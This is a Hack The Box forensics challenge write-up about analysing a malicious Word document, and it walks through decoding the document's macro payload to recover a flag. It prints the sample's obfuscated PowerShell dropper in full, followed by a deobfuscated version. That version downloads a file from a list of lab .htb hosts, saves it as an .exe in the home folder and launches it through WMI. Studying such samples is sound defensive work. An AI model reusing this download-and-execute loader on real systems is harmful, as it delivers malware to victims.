Hack The Box - emo - Forensics Challenge - Write-up

 We were given a file. "emo.doc". Opening the file, I found some macros. The file looks suspicious. So I tried to see if anyone uploaded it somewhere on the internet. (cos I don't want to run it). Sure enough. It was uploaded on Any.run https://app.any.run/tasks/aeeecf73-6f18-40e2-9c13-83dabee031d2/. I found that it is running an encoded Powershell code.


POwersheLL -windowstyle hidden -ENCOD                 S V     0 z X   ( [ T y P e ] ( " { 2 } { 0 } { 4 } { 3 } { 1 } " - f   ' e ' , ' r E C t o r Y ' , ' s Y s t ' , ' . I O . d I ' , ' M ' )     )   ;       s e t     T x y S e o     (     [ T Y p e ] ( " { 0 } { 7 } { 5 } { 6 } { 4 } { 2 } { 1 } { 8 } { 3 } " - F ' S Y s T E ' , ' T M ' , ' I N ' , ' E R ' , ' p O ' , ' N e T . s e ' , ' R V I C E ' , ' M . ' , ' A N a G ' ) )   ;     $ N b f 5 t g 3 = ( ' B 9 ' + ' y p ' + ( ' 9 0 ' + ' s ' ) ) ; $ V x n l r e 0 = $ C l u d k j x   +   [ c h a r ] ( 6 4 )   +   $ R 6 r 1 t u y ; $ K y 3 q 0 e 8 = ( ( ' R q ' + ' d x ' ) + ' w o ' + ' 5 ' ) ;     (     D i r     v a R i A b l e : 0 Z x ) . v a l u E : : " C r e A T ` E ` d I R E c ` T ` O r Y " ( $ H O M E   +   ( ( ( ' n D p ' + ' J r b ' ) + ( ' e ' + ' v k 4 n ' ) + ' D ' + ' p ' + ( ' C ' + ' c w r _ 2 h ' ) + ' n D ' + ' p ' )   - R e P l A c E   ( ' n ' + ' D p ' ) , [ c H a R ] 9 2 ) ) ; $ F N 5 g g m s H   =   ( 1 8 2 , 1 8 7 , 2 2 9 , 1 4 6 , 2 3 1 , 1 7 7 , 1 5 1 , 1 4 9 , 1 6 6 ) ; $ P y o z g e o = ( ( ' J 5 f ' + ' y 1 ' ) + ' c ' + ' c ' ) ;   (     v a R i A B L E   T x Y S E o     ) . V a l u E : : " S e c U r I ` T Y p ` R ` O t O c ` o l "   =   ( ( ' T l ' + ' s 1 ' ) + ' 2 ' ) ; $ F N 5 g g m s H   + =   ( 1 8 6 , 1 4 1 , 2 2 8 , 1 8 2 , 1 7 7 , 1 7 1 , 2 2 9 , 2 3 6 , 2 3 9 , 2 3 9 , 2 3 9 , 2 2 8 , 1 8 1 , 1 8 2 , 1 7 1 , 2 2 9 , 2 3 4 , 2 3 9 , 2 3 9 , 2 2 8 ) ; $ H u a j g b 0 = ( ( ' J n ' + ' o ' ) + ' 5 g ' + ' a 1 ' ) ; $ B b 2 8 u m o   =   ( ( ' A l e ' + ' 7 g ' ) + ' _ 8 ' ) ; $ H s c e _ j s = ( ' K v ' + ( ' n b ' + ' o v _ ' ) ) ; $ S p k 5 1 u e = ( ( ' C ' + ' 7 x o ' ) + ' 9 g ' + ' l ' ) ; $ S c u s b k j = $ H O M E + ( ( ' 5 ' + ' t ' + ( ' f ' + ' J r b e v ' + ' k ' ) + ( ' 4 5 t f ' + ' C c ' + ' w ' ) + ' r ' + ( ' _ 2 h ' + ' 5 t f ' ) )   - r E p l A C E     ( [ C h A R ] 5 3 + [ C h A R ] 1 1 6 + [ C h A R ] 1 0 2 ) , [ C h A R ] 9 2 ) + $ B b 2 8 u m o + ( ( ' . e ' + ' x ' ) + ' e ' ) ; $ F N 5 g g m s H   + =   ( 1 8 5 , 1 7 9 , 1 9 0 , 1 8 4 , 2 2 9 , 1 5 1 , 1 3 9 , 1 5 7 , 1 6 4 , 2 3 5 , 1 7 7 , 2 3 9 , 1 7 1 , 1 8 3 , 2 3 6 , 1 4 1 , 1 2 8 , 1 8 7 , 2 3 5 , 1 3 4 , 1 2 8 , 1 5 8 , 1 7 7 , 1 7 6 , 1 3 9 ) ; $ h b m s k V 2 T = ( ( ' C ' + ' 7 x o ' ) + ' 9 g ' + ' l ' ) ; $ h b m s k V 2 T = $ H O M E + ( ( ' 5 ' + ' t ' + ( ' f ' + ' J r b e v ' + ' k ' ) + ( ' 4 5 t f ' + ' C c ' + ' w ' ) + ' r ' + ( ' _ 2 h ' + ' 5 t f ' ) )   - r E p l A C E     ( [ C h A R ] 5 3 + [ C h A R ] 1 1 6 + [ C h A R ] 1 0 2 ) , [ C h A R ] 9 2 ) + $ B b 2 8 u m o + ( ( ' . c ' + ' o ' ) + ' n f ' ) ; $ Q 1 _ y 0 5 _ = ( ' W ' + ( ' 4 ' + ' q v y ' ) + ' z 8 ' ) ; $ O d b 3 h f 3 = & ( ' n ' + ' e ' + ' w - o b j e c t ' )   N e t . W E B c l I E N t ; $ F N 5 g g m s H   + =   ( 1 8 3 , 1 5 4 , 1 7 3 , 1 2 8 , 1 7 5 , 1 5 1 , 2 3 8 , 1 4 0 , 1 8 3 , 1 6 2 , 2 2 8 , 1 7 0 , 1 7 3 , 1 7 9 , 2 2 9 ) ; $ A n b y t 1 y = ( ' h ' + ( ' t t p : ' + ' ] [ ' + ' ( s ) ] ' ) + ( ( ' w ] ' + ' [ ( ' ) ) + ( ( ' s ) ' + ' ] w ' ) ) + ( ' d a ' + ' - ' ) + ' i ' + ' n ' + ' d u ' + ( ' s ' + ' t r i a l . ' + ' h ' + ' t ' ) + ' b ] ' + ( ' [ ( s ) ] ' + ' w ' + ' j s ' ) + ( ( ' ] ' + ' [ ( ' ) ) + ( ( ' s ' + ' ) ] w 9 I d L ' + ' P ] [ ' + ' ( s ' + ' ) ] w ' + ' @ h ' ) ) + ( ' t ' + ' t p : ] ' ) + ( ' [ ( s ' + ' ) ] ' ) + ' w ' + ( ' ] ' + ' [ ( s ) ] ' ) + ( ' w d a p ' + ' r o ' + ' f e s i o n a ' + ' l . h ' ) + ' t b ' + ( ' ] [ ( s ' + ' ) ' + ' ] ' ) + ' w ' + ( ' d ' + ' a t a ' ) + ( ' 4 ] [ ( s ' + ' ) ] w h ' ) + ( ' W g W ' + ' j T ' ) + ( ' V ] ' + ' [ ' ) + ( ' ( s ) ] w @ h t t p ' + ' s : ] [ ( s ' + ' ) ] ' + ' w ' + ' ] ' ) + ' [ ' + ( ' ( s ) ' + ' ] w d a g ' + ' r a ' ) + ' n i ' + ' t ' + ( ' e g ' + ' i a ' ) + ( ' r e . h ' + ' t ' ) + ' b ] ' + ( ' [ ' + ' ( s ) ' ) + ( ' ] w w ' + ' p - a ' + ' d m ' + ' i n ] [ ( s ) ' + ' ] w t ' ) + ( ' V ] [ ' + ' ( s ' + ' ) ' ) + ( ' ] w @ ' + ' h ' ) + ' t t ' + ' p ' + ( ' : ' + ' ] [ ' ) + ( ' ( s ) ] w ] [ ' + ' ( s ' + ' ) ] w w w ' + ' w ' + ' . o u t ' + ' s ' + ' p ' ) + ( ' o k ' + ' e ' ) + ' n v ' + ' i ' + ( ' s ' + ' i o n s . ' ) + ( ' h t b ' + ' ] ' ) + ' [ ' + ( ' ( s ) ] w ' + ' w p ' + ' - i n ' ) + ( ' c l u ' + ' d ' ) + ( ' e s ] [ ( s ) ' + ' ] w a W ' + ' o ' + ' M ' ) + ( ' ] ' + ' [ ( ' + ' s ) ] w ' ) + ( ' @ ' + ' h t t p : ] ' ) + ( ' [ ( s ) ' + ' ] w ] [ ( ' + ' s ) ' ) + ( ' ] w m o ' + ' b s ' ) + ( ' o ' + ' u k . h ' ) + ( ( ' t ' + ' b ] [ ( ' ) ) + ( ( ' s ) ' + ' ] w w p - ' ) ) + ' i n ' + ' c ' + ' l ' + ( ' u d e ' + ' s ] ' + ' [ ' ) + ( ' ( s ) ] ' + ' w ' ) + ( ' U Y ' + ' 3 0 R ] ' ) + ( ' [ ( s ' + ' ) ] w ' + ' @ ' + ' h ' + ' t t p : ] [ ' ) + ( ' ( ' + ' s ) ] w ' ) + ( ' ] [ ' + ' ( s ) ' ) + ( ' ] ' + ' w b ' ) + ' i ' + ( ' g ' + ' l a u g h ' + ' s ' ) + ( ( ' . h ' + ' t ' + ' b ] [ ( s ' ) ) + ( ( ' ) ] ' ) ) + ( ' w s ' + ' m a l l p o t ' + ' a t o ' ) + ' e s ' + ( ( ' ] ' + ' [ ( s ' ) ) + ( ( ' ) ] w Y ] ' + ' [ ( s ' + ' ) ] w ' + ' @ h ' + ' t t p s : ] [ ( s ) ' ) ) + ' ] w ' + ( ' ] [ ( ' + ' s ) ] w n ' + ' g ' ) + ( ' l l ' + ' o ' ) + ( ' g i s t ' + ' i ' ) + ( ' c s . ' + ' h ' ) + ' t ' + ( ' b ] ' + ' [ ' + ' ( ' + ' s ) ] w ' ) + ' a d ' + ( ' m i ' + ' n ' ) + ' e r ' + ' ] ' + ( ' [ ( s ' + ' ) ] w ' + ' W 3 m ' ) + ' k ' + ( ( ' B ' + ' ] [ ( s ' ) ) + ( ( ' ) ' + ' ] w ' ) ) ) . " r e p ` L A c E " ( ( ' ] ' + ' [ ' + ( ' ( s ) ] ' + ' w ' ) ) , ( [ a r r a y ] ( ' / ' ) , ( ' x w ' + ' e ' ) ) [ 0 ] ) . " s P ` l I T " ( $ I v g 3 z c u   +   $ V x n l r e 0   +   $ J z a e w d y ) ; $ G c o y v l v = ( ( ' K f ' + ' _ ' ) + ( ' 9 ' + ' e t 1 ' ) ) ; f o r e a c h   ( $ A 8 i 3 k e 1   i n   $ A n b y t 1 y ) { t r y { $ O d b 3 h f 3 . " d O ` W n L O A ` d f I L e " ( $ A 8 i 3 k e 1 ,   $ S c u s b k j ) ; $ Z h c n a u x = ( ( ' E k ' + ' k ' ) + ( ' j ' + ' 4 7 t ' ) ) ; I f   ( ( & ( ' G e t - I ' + ' t e ' + ' m ' )   $ S c u s b k j ) . " L E n ` G T h "   - g e   4 5 1 9 9 )   { $ { A 8 ` I ` 3 K E 1 } . ( " { 1 } { 2 } { 0 } "   - f ' a y ' , ' T o C h a ' , ' r A r r ' ) . I n v o k e ( )   |   . ( " { 2 } { 1 } { 0 } { 3 } "   - f ' - ' , ' a c h ' , ' F o r E ' , ' O b j e c t ' )   - p r o c e s s   {   $ { F N 5 ` G G m ` S h }   + =   ( [ b y t e ] [ c h a r ] $ { _ }   - b x o r   0 x d f   )   } ;   $ F N 5 g g m s H   + =   ( 2 2 8 ) ;   $ b 0 R j e   =     [ t y p e ] ( " { 1 } { 0 } "   - F ' V e r T ' , ' C o n ' ) ;       $ B 0 R j E : : " t O ` B a S ` E 6 4 S ` T R I ` N g " ( $ { f n 5 ` g g m ` s h } )   |   . ( " { 2 } { 1 } { 0 } "   - f   ' i l e ' , ' u t - f ' , ' o ' )   $ { h B ` m S K ` V 2 T } ;   ( [ w m i c l a s s ] ( ( ' w i ' + ' n ' ) + ( ' 3 2 _ ' + ' P r o c ' + ' e ' ) + ' s ' + ' s ' ) ) . " c R ` e a T E " ( $ S c u s b k j ) ; $ G l w k i 6 a = ( ' I ' + ' m ' + ( ' t d ' + ' x v 6 ' ) ) ; b r e a k ; $ P f p b l h 1 = ( ' V s ' + ( ' l a l ' + ' c ' ) + ' u ' ) } } c a t c h { } } $ F 4 7 i e f 2 = ( ( ' B n ' + ' z i d ' ) + ' r t ' ) 

That looks like base64 encoded so I decoded it using CyberChef Magic 

 SV  0zX ([TyPe]("{2}{0}{4}{3}{1}"-f 'e','rECtorY','sYst','.IO.dI','M')  ) ;   set  TxySeo  (  [TYpe]("{0}{7}{5}{6}{4}{2}{1}{8}{3}"-F'SYsTE','TM','IN','ER','pO','NeT.se','RVICE','M.','ANaG')) ;  $Nbf5tg3=('B9'+'yp'+('90'+'s'));$Vxnlre0=$Cludkjx + [char](64) + $R6r1tuy;$Ky3q0e8=(('Rq'+'dx')+'wo'+'5');  (  Dir  vaRiAble:0Zx).valuE::"CreAT`E`dIREc`T`OrY"($HOME + ((('nDp'+'Jrb')+('e'+'vk4n')+'D'+'p'+('C'+'cwr_2h')+'nD'+'p') -RePlAcE ('n'+'Dp'),[cHaR]92));$FN5ggmsH = (182,187,229,146,231,177,151,149,166);$Pyozgeo=(('J5f'+'y1')+'c'+'c'); (  vaRiABLE TxYSEo  ).ValuE::"SecUrI`TYp`R`OtOc`ol" = (('Tl'+'s1')+'2');$FN5ggmsH += (186,141,228,182,177,171,229,236,239,239,239,228,181,182,171,229,234,239,239,228);$Huajgb0=(('Jn'+'o')+'5g'+'a1');$Bb28umo = (('Ale'+'7g')+'_8');$Hsce_js=('Kv'+('nb'+'ov_'));$Spk51ue=(('C'+'7xo')+'9g'+'l');$Scusbkj=$HOME+(('5'+'t'+('f'+'Jrbev'+'k')+('45tf'+'Cc'+'w')+'r'+('_2h'+'5tf')) -rEplACE  ([ChAR]53+[ChAR]116+[ChAR]102),[ChAR]92)+$Bb28umo+(('.e'+'x')+'e');$FN5ggmsH += (185,179,190,184,229,151,139,157,164,235,177,239,171,183,236,141,128,187,235,134,128,158,177,176,139);$hbmskV2T=(('C'+'7xo')+'9g'+'l');$hbmskV2T=$HOME+(('5'+'t'+('f'+'Jrbev'+'k')+('45tf'+'Cc'+'w')+'r'+('_2h'+'5tf')) -rEplACE  ([ChAR]53+[ChAR]116+[ChAR]102),[ChAR]92)+$Bb28umo+(('.c'+'o')+'nf');$Q1_y05_=('W'+('4'+'qvy')+'z8');$Odb3hf3=&('n'+'e'+'w-object') Net.WEBclIENt;$FN5ggmsH += (183,154,173,128,175,151,238,140,183,162,228,170,173,179,229);$Anbyt1y=('h'+('ttp:'+']['+'(s)]')+(('w]'+'[('))+(('s)'+']w'))+('da'+'-')+'i'+'n'+'du'+('s'+'trial.'+'h'+'t')+'b]'+('[(s)]'+'w'+'js')+((']'+'[('))+(('s'+')]w9IdL'+'P]['+'(s'+')]w'+'@h'))+('t'+'tp:]')+('[(s'+')]')+'w'+(']'+'[(s)]')+('wdap'+'ro'+'fesiona'+'l.h')+'tb'+('][(s'+')'+']')+'w'+('d'+'ata')+('4][(s'+')]wh')+('WgW'+'jT')+('V]'+'[')+('(s)]w@http'+'s:][(s'+')]'+'w'+']')+'['+('(s)'+']wdag'+'ra')+'ni'+'t'+('eg'+'ia')+('re.h'+'t')+'b]'+('['+'(s)')+(']ww'+'p-a'+'dm'+'in][(s)'+']wt')+('V]['+'(s'+')')+(']w@'+'h')+'tt'+'p'+(':'+'][')+('(s)]w]['+'(s'+')]www'+'w'+'.out'+'s'+'p')+('ok'+'e')+'nv'+'i'+('s'+'ions.')+('htb'+']')+'['+('(s)]w'+'wp'+'-in')+('clu'+'d')+('es][(s)'+']waW'+'o'+'M')+(']'+'[('+'s)]w')+('@'+'http:]')+('[(s)'+']w][('+'s)')+(']wmo'+'bs')+('o'+'uk.h')+(('t'+'b][('))+(('s)'+']wwp-'))+'in'+'c'+'l'+('ude'+'s]'+'[')+('(s)]'+'w')+('UY'+'30R]')+('[(s'+')]w'+'@'+'h'+'ttp:][')+('('+'s)]w')+(']['+'(s)')+(']'+'wb')+'i'+('g'+'laugh'+'s')+(('.h'+'t'+'b][(s'))+((')]'))+('ws'+'mallpot'+'ato')+'es'+((']'+'[(s'))+((')]wY]'+'[(s'+')]w'+'@h'+'ttps:][(s)'))+']w'+('][('+'s)]wn'+'g')+('ll'+'o')+('gist'+'i')+('cs.'+'h')+'t'+('b]'+'['+'('+'s)]w')+'ad'+('mi'+'n')+'er'+']'+('[(s'+')]w'+'W3m')+'k'+(('B'+'][(s'))+((')'+']w')))."rep`LAcE"((']'+'['+('(s)]'+'w')),([array]('/'),('xw'+'e'))[0])."sP`lIT"($Ivg3zcu + $Vxnlre0 + $Jzaewdy);$Gcoyvlv=(('Kf'+'_')+('9'+'et1'));foreach ($A8i3ke1 in $Anbyt1y){try{$Odb3hf3."dO`WnLOA`dfILe"($A8i3ke1, $Scusbkj);$Zhcnaux=(('Ek'+'k')+('j'+'47t'));If ((&('Get-I'+'te'+'m') $Scusbkj)."LEn`GTh" -ge 45199) {${A8`I`3KE1}.("{1}{2}{0}" -f'ay','ToCha','rArr').Invoke() | .("{2}{1}{0}{3}" -f'-','ach','ForE','Object') -process { ${FN5`GGm`Sh} += ([byte][char]${_} -bxor 0xdf ) }; $FN5ggmsH += (228); $b0Rje =  [type]("{1}{0}" -F'VerT','Con');   $B0RjE::"tO`BaS`E64S`TRI`Ng"(${fn5`ggm`sh}) | .("{2}{1}{0}" -f 'ile','ut-f','o') ${hB`mSK`V2T}; ([wmiclass](('wi'+'n')+('32_'+'Proc'+'e')+'s'+'s'))."cR`eaTE"($Scusbkj);$Glwki6a=('I'+'m'+('td'+'xv6'));break;$Pfpblh1=('Vs'+('lal'+'c')+'u')}}catch{}}$F47ief2=(('Bn'+'zid')+'rt')

Still looks gibberish. Using PSDecode to deobfuscate:
SV  0zX ([TyPe]'sYsteM.IO.dIrECtorY'  ) ;
   set  TxySeo  (  [TYpe]'SYsTEM.NeT.seRVICEpOINTMANaGER') ;
  $Nbf5tg3='B9yp90s';
$Vxnlre0=$Cludkjx + [char](64) + $R6r1tuy;
$Ky3q0e8=(('Rqdx')+'wo5');
  (  Dir  vaRiAble:0Zx).valuE::"CreAT`E`dIREc`T`OrY"($HOME + ((('nDpJrb')+'evk4nDpCcwr_2hnDp') -RePlAcE 'nDp',[cHaR]92));
$FN5ggmsH = (182,187,229,146,231,177,151,149,166);
$Pyozgeo=(('J5fy1')+'cc');
 (  vaRiABLE TxYSEo  ).ValuE::"SecUrI`TYp`R`OtOc`ol" = (('Tls1')+'2');
$FN5ggmsH += (186,141,228,182,177,171,229,236,239,239,239,228,181,182,171,229,234,239,239,228);
$Huajgb0=(('Jno')+'5ga1');
$Bb28umo = (('Ale7g')+'_8');
$Hsce_js='Kvnbov_';
$Spk51ue=(('C7xo')+'9gl');
$Scusbkj=$HOME+(('5tfJrbevk45tfCcwr_2h5tf') -rEplACE  ([ChAR]53+[ChAR]116+[ChAR]102),[ChAR]92)+$Bb28umo+(('.ex')+'e');
$FN5ggmsH += (185,179,190,184,229,151,139,157,164,235,177,239,171,183,236,141,128,187,235,134,128,158,177,176,139);
$hbmskV2T=(('C7xo')+'9gl');
$hbmskV2T=$HOME+(('5tfJrbevk45tfCcwr_2h5tf') -rEplACE  ([ChAR]53+[ChAR]116+[ChAR]102),[ChAR]92)+$Bb28umo+(('.co')+'nf');
$Q1_y05_='W4qvyz8';
$Odb3hf3=new-object Net.WEBclIENt;
$FN5ggmsH += (183,154,173,128,175,151,238,140,183,162,228,170,173,179,229);
$Anbyt1y=('http:][s]'+(('w][('))+(('s)]w'))+'da-industrial.htb][s]wjs'+(('][('))+(('s)]w9IdLP][(s)]w@h'))+'ttp:][s]w][s]wdaprofesional.htb][s]wdata4][s]whWgWjTV][s]w@https:][s]w][s]wdagranitegiare.htb][s]wwp-admin][s]wtV][s]w@http:][s]w][s]wwww.outspokenvisions.htb][s]wwp-includes][s]waWoM][s]w@http:][s]w][s]wmobsouk.h'+(('tb][('))+(('s)]wwp-'))+'includes][s]wUY30R][s]w@http:][s]w][s]wbiglaughs'+(('.htb][(s'))+((')]'))+'wsmallpotatoes'+(('][(s'))+((')]wY][(s)]w@https:][(s)'))+']w][s]wngllogistics.htb][s]wadminer][s]wW3mk'+(('B][(s'))+((')]w'))).repLAcE(('][s]w'),([array]'/','xwe')[0]).sPlIT($Ivg3zcu + $Vxnlre0 + $Jzaewdy);
$Gcoyvlv=(('Kf_')+'9et1');
foreach ($A8i3ke1 in $Anbyt1y){
        try{
                $Odb3hf3.dOWnLOAdfILe($A8i3ke1, $Scusbkj);
                $Zhcnaux=(('Ekk')+'j47t');
                If ((Get-Item $Scusbkj).LEnGTh -ge 45199) {
                        ${
                                A8I3KE1}
                        .ToCharArray.Invoke() | .'ForEach-Object' -process {
                                 ${
                                        FN5GGmSh}
                                 += ([byte][char]${
                                        _}
                                 -bxor 0xdf ) }
                        ;
                         $FN5ggmsH += (228);
                         $b0Rje =  [type]'ConVerT';
                           $B0RjE::"tO`BaS`E64S`TRI`Ng"(${
                                fn5ggmsh}
                        ) | .'out-file' ${
                                hBmSKV2T}
                        ;
                         ([wmiclass](('win')+'32_Process')).cReaTE($Scusbkj);
                        $Glwki6a='Imtdxv6';
                        break;
                        $Pfpblh1='Vslalcu'}
                }
        catch{
                }
        }
$F47ief2=(('Bnzid')+'rt')

Looks better but needs analysing and rewriting. 

Took me a while to get this but I noticed something

$FN5ggmsH = (182,187,229,146,231,177,151,149,166);
$FN5ggmsH += (186,141,228,182,177,171,229,236,239,239,239,228,181,182,171,229,234,239,239,228);
$FN5ggmsH += (185,179,190,184,229,151,139,157,164,235,177,239,171,183,236,141,128,187,235,134,128,158,177,176,139);
$FN5ggmsH += (183,154,173,128,175,151,238,140,183,162,228,170,173,179,229);


This variable looks like an encoded string. I put on Cyberchef and finally got the flag! Woohoo!










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